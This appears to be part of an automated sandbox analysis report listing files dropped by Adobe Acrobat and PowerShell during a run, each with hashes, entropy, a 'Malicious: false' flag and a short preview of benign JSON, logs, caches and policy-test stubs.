Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.659806275551532
Encrypted:	false
SSDEEP:	24:Yv6XD9i/amXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BS6S:YvbXBgkDMUJUAh8cvMh
MD5:	60BDC474D7A89B01E6B12BDFCC910E40
SHA1:	EF554A0C549EE851B5EFC66BC8F8512B0A099246
SHA-256:	419268B2B19ACED2C7D246E115240E1B6495C9C55AC607F828BB6CA10134A5BA
SHA-512:	90835EE121DE139A698CC0C51902730E8015977BE4B172309AF69437514CE6513DA7B98770159299BBED6CA25CBE77E5983D699FE5BC125D53F87F97378343B4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"08cac05d-77d8-4674-a0ba-d8efb915eb33","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736705076908,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.233879693646673
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHHywKAPR+FIbRI6XVW7+0YJ6EeoAvJfshHHrPeUkwRe9:YvXKXn/KAcYpW7dsGUUUkee9
MD5:	2E1F4999BB3448A2F330A94508B5FC79
SHA1:	3718232D284D025FC923A23E5D562946D990B0C7
SHA-256:	191CEA04786433E3F71BCE7C545D811D0051AB6307D9FA51C84F56323E499871
SHA-512:	D4DB6D6B1F99614F1B39EAFED87578121B72ECCBF846FAE43B68455D68EF84EA3AC99E25326F32A02944FA9FBCEF0C96F79285F924F2E5E514AAF4279E738B0E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"08cac05d-77d8-4674-a0ba-d8efb915eb33","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736705076908,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.249001913427245
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHHywKAPR+FIbRI6XVW7+0YJ6EeoAvJTqgFCrPeUkwRe9:YvXKXn/KAcYpW7dsGTq16Ukee9
MD5:	26548FFDDFB78308A1D508DBF28245AD
SHA1:	40372009184FAA2EB6F21480EAAB6F5848BB07C9
SHA-256:	FC31AF28DF242CAE6F194E5FF55245A76D8F12B7B8C1C9910F90BBC65ADDEDBD
SHA-512:	30B5F9F8C4EB1516F6B516B08B48A341A2C9A31ECBF1A983C3AC9BAA08131404F28EE341CBEE46CC1DBBA2D74BB02E4E09579EFF87B47C27C53DB9F9C171801D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"08cac05d-77d8-4674-a0ba-d8efb915eb33","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736705076908,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.133106715730472
Encrypted:	false
SSDEEP:	24:YBAa0fKaWBDCrB3ay/P+rng5HHooIcoRUvnB4ajkgj0S+qqB1fYS2kA2LSQC4cFP:YBACCVJVpHXBnjsPHM2dcFFMsVP9gO
MD5:	12E5424DFF5CA2652DBF73DDC8C917F9
SHA1:	9F6C2EF626244AC7CD161FF5B1E8878317DD1F32
SHA-256:	E8D01FBED6C77CF08902D81F7CC3B42FFF5E0BB726CDA5C37ED2B390930E3E6E
SHA-512:	F5ABB1BCDFBB87852F0E30F6078D89366D67C943D924E2CE0DCA9A513FE97C1276089E2D52408E643C48C078FF824FD74B43AF1BAF6EABD4747FFE28D918B1BE
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"39b6c430c14f3c7f6e03928365115ddc","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736525811000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"1ce5aeb0d5198d3a1ccd25f254011015","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736525811000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"96012b07e519a2fb97c1011f04a8fa03","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736525811000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"2bf4aa5a2836dac6765fdea9aaf0c307","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736525811000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"445a4186f8628eab49e2fa29e71fae1f","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736525811000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"d17caa9ef984bd3491fbb95e4af25182","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 19, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 19
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	0.9836369611145842
Encrypted:	false
SSDEEP:	24:TLHRx/XYKQvGJF7urs6I1RZKHs/Ds/SpnKm4zJwtNBwtNbRZ6bRZ4uKmF:TVl2GL7ms6ggOVp4zutYtp6PX
MD5:	CFAAF3C4BEC0DCC5693D9AAE5153E5B4
SHA1:	E430AA170A8898F96355735AA39BFABB222DB2A7
SHA-256:	D9F457D1364C6813E69A6BA04FA6F9CBF122E301CE0A0A3085FDE21A8E56ED23
SHA-512:	20B220677722CBB208BC5F4DE74F09345560C3F9A3378FF7D32EF2E060D9CB1F066EB3D5E35D04378A37E0269FB6A29C54740FE4AD94BA44F747C360CEB88A2C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.338546771561831
Encrypted:	false
SSDEEP:	24:7+tzAD1RZKHs/Ds/SpnKmPzJwtNBwtNbRZ6bRZWf1RZK5qLBx/XYKQvGJF7ursQ:7MzGgOVpPzutYtp6PMcqll2GL7msQ
MD5:	6BB42DA9FDB57C78159D2B978F6633F2
SHA1:	28D11544BE14665699B79D7ACAD24E9D98595DA8
SHA-256:	F25053DC87D77251D54B648888A742A0894D83A3D305DA12CC6356F42B1E9C60
SHA-512:	E197DF1D8AC2E57301854AB6A0A120C8682EE36FF089D787FF754E68E837D8964A48C20436D89175DDB095517841357CD5C69C2AB5E782F9FF86C4A7A6089E7E
Malicious:	false
Preview:	.... .c......:.6......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j...#..#.#.#.#.#.#.#.#.7.7........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEg1PzMSbjfy1ZLrGbz2uw0KSx1pdCMYyu:6a6TZ44ADE1PKZLS2uwmJdVK
MD5:	ED778FFCE2D45BA0B3B184A5059B67E8
SHA1:	CFF70159A7BC133F916EB2A33804BD97A8D4B939
SHA-256:	EDDE944E8959A67E5E640EC62B5AC9D315752DADC6BEFE35A285C467EED7C7F2
SHA-512:	CA32DE5696542C6031D2DF5B61732267D23E56B5DD9C87088DBD01B83A571F6E3C9567FF53090671ECD97658DC137FB609EBEC79FADCA6D6DBF32A03987263B5
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllultnxj:NllU
MD5:	F93358E626551B46E6ED5A0A9D29BD51
SHA1:	9AECA90CCBFD1BEC2649D66DF8EBE64C13BACF03
SHA-256:	0347D1DE5FEA380ADFD61737ECD6068CB69FC466AC9C77F3056275D5FCAFDC0D
SHA-512:	D609B72F20BF726FD14D3F2EE91CCFB2A281FAD6BC88C083BFF7FCD177D2E59613E7E4E086DB73037E2B0B8702007C8F7524259D109AF64942F3E60BFCC49853
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSI6241.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.504899586627176
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClEbDH:Qw946cPbiOxDlbYnuRK+bDb7
MD5:	6297647B6BDE47C515C3CB3A570C238B
SHA1:	46CEFF19CB37B09AD01D63965A0EC5CA65B90207
SHA-256:	B2CAD76C245E083DF099A1711827B04A8237FC18C322E6EC2FDBA29B675027D2
SHA-512:	0BDD26936C75A320F5B4ABA6EA3E584D75824BA609262CAAC549DAEE0F7752A599DBC1C7D707C1AA8AD921B3BA6774052E8CDA1C90C68435D599B2F198D25D38
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.1.:.1.6.:.5.3. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ft4rsu1n.aoc.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rrxtida3.kmc.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 11-16-47-561.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.376360055978702
Encrypted:	false
SSDEEP:	384:6b1sdmfenwop+WP21h2RPjRNg7JjO2on6oU6CyuJw1oaNIIu9EMuJuF6MKK9g9JQ:vIn
MD5:	1336667A75083BF81E2632FABAA88B67
SHA1:	46E40800B27D95DAED0DBB830E0D0BA85C031D40
SHA-256:	F81B7C83E0B979F04D3763B4F88CD05BC8FBB2F441EBFAB75826793B869F75D1
SHA-512:	D039D8650CF7B149799D42C7415CBF94D4A0A4BF389B615EF7D1B427BC51727D3441AA37D8C178E7E7E89D69C95666EB14C31B56CDFBD3937E4581A31A69081A
Malicious:	false
Preview:	SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:961+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.325006235059416
Encrypted:	false
SSDEEP:	384:1zpixrjl+LG8zhFP7RExd27pHt+4cfz1m5cx/D/WYZPEeQqI+f8EOrO36lHEg1lX:aKV
MD5:	810DA62F3F1CD6DCCF6C2F8E99F6EC51
SHA1:	5EF7ADD799DF1289A7F96DA537E133A6C3F4AAEC
SHA-256:	63AFBFA22ABA10E881045432D9F7D75B0062FFA11193C4F5EF429E2F044A415A
SHA-512:	11500F851419470653AB0E99DE0FB792DA4A2887FF36DEAD1C4600FCCBA5572A2B0E6DAF18C2913238ACE882C638C772B7A2AFD1B6A14056BCCE45D5886F305D
Malicious:	false
Preview:	SessionID=d0b0f133-30ea-4053-b0e1-7cbf8b083627.1736525807574 Timestamp=2025-01-10T11:16:47:574-0500 ThreadID=7780 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=d0b0f133-30ea-4053-b0e1-7cbf8b083627.1736525807574 Timestamp=2025-01-10T11:16:47:575-0500 ThreadID=7780 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=d0b0f133-30ea-4053-b0e1-7cbf8b083627.1736525807574 Timestamp=2025-01-10T11:16:47:575-0500 ThreadID=7780 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=d0b0f133-30ea-4053-b0e1-7cbf8b083627.1736525807574 Timestamp=2025-01-10T11:16:47:575-0500 ThreadID=7780 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=d0b0f133-30ea-4053-b0e1-7cbf8b083627.1736525807574 Timestamp=2025-01-10T11:16:47:575-0500 ThreadID=7780 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.401561089847939
Encrypted:	false
SSDEEP:	768:GLxxlyVUFcAzWL8VWL1ANSFld5YjMWLvJ8Uy++NSXl3WLd5WLrbhhVClkVMwDGba:Guuqt63qnfrHfBaLOqZWDYV
MD5:	E892977201DD571CB66629641BD89716
SHA1:	BB5170F6ADB87D47FC4643315A2877F2B4461EE3
SHA-256:	9E9690ECCEDA07FFFEBC33DD1A1A1120266E383E50A57A6BC126DC8F2292224E
SHA-512:	802D39F1EDA9463836002A403D26A9C73F95E15FD1F163A3C8FC6C92EE75FB4D4A07995E3CF79C0F5DFBD618C92D8D1F8B690747260F9EED6DE24997D60F1AB1
Malicious:	false
Preview:	04-10-2023 02:39:31:.---2---..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : *************************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : ***********************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Starting NGL..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..04-10-2023 02:39:31:.Closing File..04-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\554652f3-6f20-4ff8-a6dc-803fbf272d02.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\56f89767-83ff-4cc8-b0e7-76b905154d94.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 57837
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xaWL07oXGZGwYIGNPJ5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07c:JaWLxXGZGwZGd3mlind9i4ufFXpAXkrj
MD5:	6D958015CCB8A388D80B0EBA0452D789
SHA1:	8DFE47DEFAC3BC9A950B93D34D8444F9846309C0
SHA-256:	42AF779892B67A0A4C16C0FF9C0B49CADD51CA30141559ECC50D42DD84D0E9F2
SHA-512:	3D0BD8BD9C4003B7ED3595AAB291C7B9AF0A4C4E2CC6335F524C51C8F043AB76737CA45AC81365509038AF8CEB63674C942DC54BED1B4BA9C1C65615DBE5470D
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\8429c030-08e2-47f0-9880-54ac678ce0f4.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R077WLaGZ7wYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs03WLaGZw
MD5:	8B9FA2EC5118087D19CFDB20DA7C4C26
SHA1:	E32D6A1829B18717EF1455B73E88D36E0410EF93
SHA-256:	4782624EA3A4B3C6EB782689208148B636365AA8E5DAF00814FA9AB722259CBD
SHA-512:	662F8664CC3F4E8356D5F5794074642DB65565D40AC9FEA323E16E84EBD4F961701460A1310CC863D1AB38849E84E2142382F5DB88A0E53F97FF66248230F7B9
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\d9044560-0e3b-43e5-9b55-e88acc2201a9.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
